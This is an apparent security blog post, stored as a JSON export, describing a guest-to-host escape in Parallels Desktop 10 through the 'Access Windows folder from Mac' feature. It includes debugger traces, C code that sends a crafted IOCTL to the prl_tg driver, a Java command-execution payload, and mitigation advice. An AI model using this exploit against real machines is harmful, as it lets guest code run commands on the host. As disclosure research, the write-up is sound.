{"id":35,"date":"2016-07-03T11:05:10","date_gmt":"2016-07-03T11:05:10","guid":{"rendered":"http:\/\/piratesecurityblog.com\/?p=35"},"modified":"2017-08-23T08:53:01","modified_gmt":"2017-08-23T08:53:01","slug":"simple-guest-to-host-vm-escape-for-parallels-desktop","status":"publish","type":"post","link":"https:\/\/piratesecurityblog.com\/?p=35","title":{"rendered":"Simple guest to host VM escape for Parallels Desktop"},"content":{"rendered":"

Simple guest to host VM escape for Parallels Desktop<\/a><\/h3>\n
<\/div>\n
\n
\n
\n
First post in this blog that written in english, please be patient with my awful language skills.<\/i><\/div>\n

This is a little story about exploiting guest to host VM escape not-a-vulnerability in\u00a0Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.<\/p>\n

Discovering<\/h3>\n
It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop\u00a0virtualisation\u00a0software has them) might be dangerous. Recently I finally decided to check, how exactly<\/i> they can be dangerous on example of the virtualisation software that I’m using on OS X (and millions ofother users<\/a> too). It’s a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.<\/div>\n

Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.
\nLet’s talk about one of them:<\/p>\n\n\n\n\n
<\/a><\/td>\n<\/tr>\n
Parallels Desktop 10 VM options<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
<\/div>\n
There is “Access Windows folder from Mac”\u00a0option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from Parallels Desktop 10 for Mac User’s Guide<\/a>:<\/div>\n
<\/div>\n
<\/div>\n
\n

\n<\/b>Access a Windows Folder or File from a Mac OS X Application<\/b><\/div>\n
\u00a0<\/b><\/div>\n
By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to \/Volumes<\/span>. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.<\/div>\n
<\/div>\n
<\/div>\n
Note:<\/b> The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (\/Volumes<\/span>). By default, the PVM file is either in \/Users\/<Username>\/Documents\/Parallels\/<\/span> or \/Users\/Shared<\/span>. You can also find the PVM file by right-clicking Windows in Parallels Desktop Control Center<\/b> (or in the virtual machine window when Windows is shut down) and selecting Show in Finder<\/b>. To access Windows files and folders, right-click the PVM file, selectShow Package Contents<\/b> from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect Access Windows folders from Mac<\/b> in step 3 above.<\/div>\n
<\/div>\n<\/div>\n<\/div>\n
Well, just a guest file system sharing, you’ll say, what could possibly go wrong? Unfortunately, a lot.<\/div>\n

After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting “Open on Mac” shortcut:<\/p>\n

<\/a><\/div>\n

Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.<\/p>\n

Guest-side part of this option is implemented as PrlToolsShellExt.dll<\/span> shell extension (MD5 sum of DLL with version 10.1.1.28614 on my Windows 8.1 x64 guest is 97D15FB584C589FA297434E08CD0252F<\/span>). Menu item click handler is located at function sub_180005834()<\/span> and after some pre-processing of input values it sends IOCTL request to the device \\Device\\prl_tg<\/span> that aims to one of the Paralles kernel mode drivers (prl_tg.sys<\/span>):<\/p>\n

<\/a><\/div>\n

After the breakpoint on this DeviceIoControl<\/a>()<\/span> call we will obtain a call stack backatrace and function arguments:<\/p>\n

0:037> k L7\r\nChild-SP          RetAddr           Call Site\r\n00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596\r\n00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225\r\n00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581\r\n00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2\r\n00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39\r\n00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f\r\n00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298<\/pre>\n
First 4 arguments of the DeviceIoControl()<\/span>, rcx – device handle, r8 – input buffer, r9 – buffer length:<\/p>\n
0:037> r\r\nrax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74\r\nrdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070\r\nrip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004\r\nr8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990\r\nr11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490\r\nr14=0000000012bcd4a0 r15=0000000016af90f0\r\n<\/pre>\n
Last 4 arguments of the DeviceIoControl()<\/span> that was passed over the stack:<\/p>\n
0:037> dq rsp L4\r\n00000000`12bcd1c0  00000000`00000000 00000000`02bdc218\r\n00000000`12bcd1d0  00000000`00000001 00000000`00ce2480\r\n<\/pre>\n
IOCTL request input buffer:<\/p>\n
0:037> dq @r8\r\n00000000`12bcd240  ffffffff`00008321 00000000`00010050\r\n00000000`12bcd250  00000000`00000001 00000000`00000002\r\n00000000`12bcd260  00000000`00000002 00000000`00000000\r\n00000000`12bcd270  00000000`00000000 00000000`00000000\r\n00000000`12bcd280  00000000`00000000 00000000`00000000\r\n00000000`12bcd290  00000000`00000000 00000000`00000000\r\n00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c\r\n<\/pre>\n
It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:<\/p>\n
0:037> da poi(@r8+60)\r\n00000000`02c787d0  \"\\\\psf\\TC\\dev\\_exploits\\prl_guet_\"\r\n00000000`02c787f0  \"to_host\\New Text Document.txt\"\r\n<\/pre>\n
After sending this IOCTL control request to the driver, specified file will be opened at the host side. It’s also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):<\/p>\n\n\n\n\n
<\/a><\/td>\n<\/tr>\n
\\Device\\prl_tg security permissions<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
And because the target file will be opened at the host side with privileges of the current OS X user, it seems that “Access Windows folder from Mac” option is definitely breaks a security model that you’re usually expecting from guest-host interaction.<\/p>\n
Exploiting<\/h3>\n
The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:<\/p>\n
void OpenFileAtTheHostSide(char *lpszFilePath)\r\n{\r\n    HANDLE hDev = NULL;\r\n\r\n    \/\/ get handle to the target device    \r\n    if (OpenDevice(L\"\\\\Device\\\\prl_tg\", &hDev))\r\n    {\r\n        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);\r\n        if (RequestData)\r\n        {\r\n            IO_STATUS_BLOCK StatusBlock;          \r\n\r\n            ZeroMemory(RequestData,\u00a00x70);\r\n\r\n            \/*\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Fill IOCTL request input buffer.\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0It has the same layout on x86 and x64 versions of Windows\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0*\/\r\n            RequestData[0x0] = 0xffffffff00008321; \/\/ magic values\r\n            RequestData[0x1] = 0x0000000000010050;\r\n            RequestData[0x2] = 0x0000000000000001;\r\n            RequestData[0x3] = 0x0000000000000002;\r\n            RequestData[0x4] = 0x0000000000000002;\r\n            RequestData[0xc] = (DWORD64)lpszFilePath; \/\/ file path and it's length\r\n            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;\r\n\r\n            NTSTATUS ns = NtDeviceIoControlFile(\r\n                hDev, NULL, NULL, NULL, &StatusBlock,\r\n                0x22a004, \/\/ IOCTL code\r\n                RequestData, 0x70,\r\n                RequestData, 0x70\r\n            );\r\n            \r\n            DbgMsg(__FILE__, __LINE__, \"Device I\/O control request status is 0x%.8x\\n\", ns);\r\n\r\n            \/\/ ...\r\n\r\n            M_FREE(RequestData);\r\n        }\r\n\r\n        CloseHandle(hDev);\r\n    }\r\n}\r\n<\/pre>\n
Now let’s write some payload.
\nUnfortunately, we can’t execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there’s still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it’s possible to write a Java .class that executes specified command and saves it’s output to the guest file system (that usually mounted at \/Volumes\/<windows_letter><\/span>):<\/p>\n
public static void main(String[] args) \r\n{ \r\n    \/\/ exeute command and get it's output\r\n    StringBuilder output = new StringBuilder();\r\n    if (exec(defaultCmd, output) == -1)\r\n    {\r\n        output.append(\"Error while executing command\");\r\n    }\r\n                     \r\n    String volumesPath = \"\/Volumes\";\r\n    File folder = new File(volumesPath);\r\n\r\n    \/\/ enumerate mounted volumes of Parallels guests\r\n    for (File file : folder.listFiles()) \r\n    {\r\n        if (file.isDirectory()) \r\n        {    \r\n            \/\/ try to save command output into the temp\r\n            String outFile = volumesPath + \"\/\" + \r\n                file.getName() + \"\/Windows\/Temp\/prl_host_out.txt\";\r\n\r\n            try\r\n            {                    \r\n                write(outFile, output.toString());\r\n            }                    \r\n            catch (IOException e) { continue; }\r\n        }\r\n    }\r\n}\r\n<\/pre>\n
Using this .class and OpenFileAtTheHostSide()<\/span> function we can implement a usable command execution exploit:<\/p>\n\n\n\n\n
<\/a><\/td>\n<\/tr>\n
Execution of commands using PoC<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
Full exploit code is available at GitHub:\u00a0https:\/\/github.com\/Cr4sh\/prl_guest_to_host<\/a><\/p>\n
Protection from this attack is pretty simple: disabling “Access Windows folder from Mac” option in virtual machine settings prevents the ability of opening files from the guest systems.
\nAlso, you can enable “Isolate Windows from Mac” option that disables (in theory) all of the virtual machine sharing features:<\/p>\n
<\/a><\/div>\n
TL;DR<\/h3>\n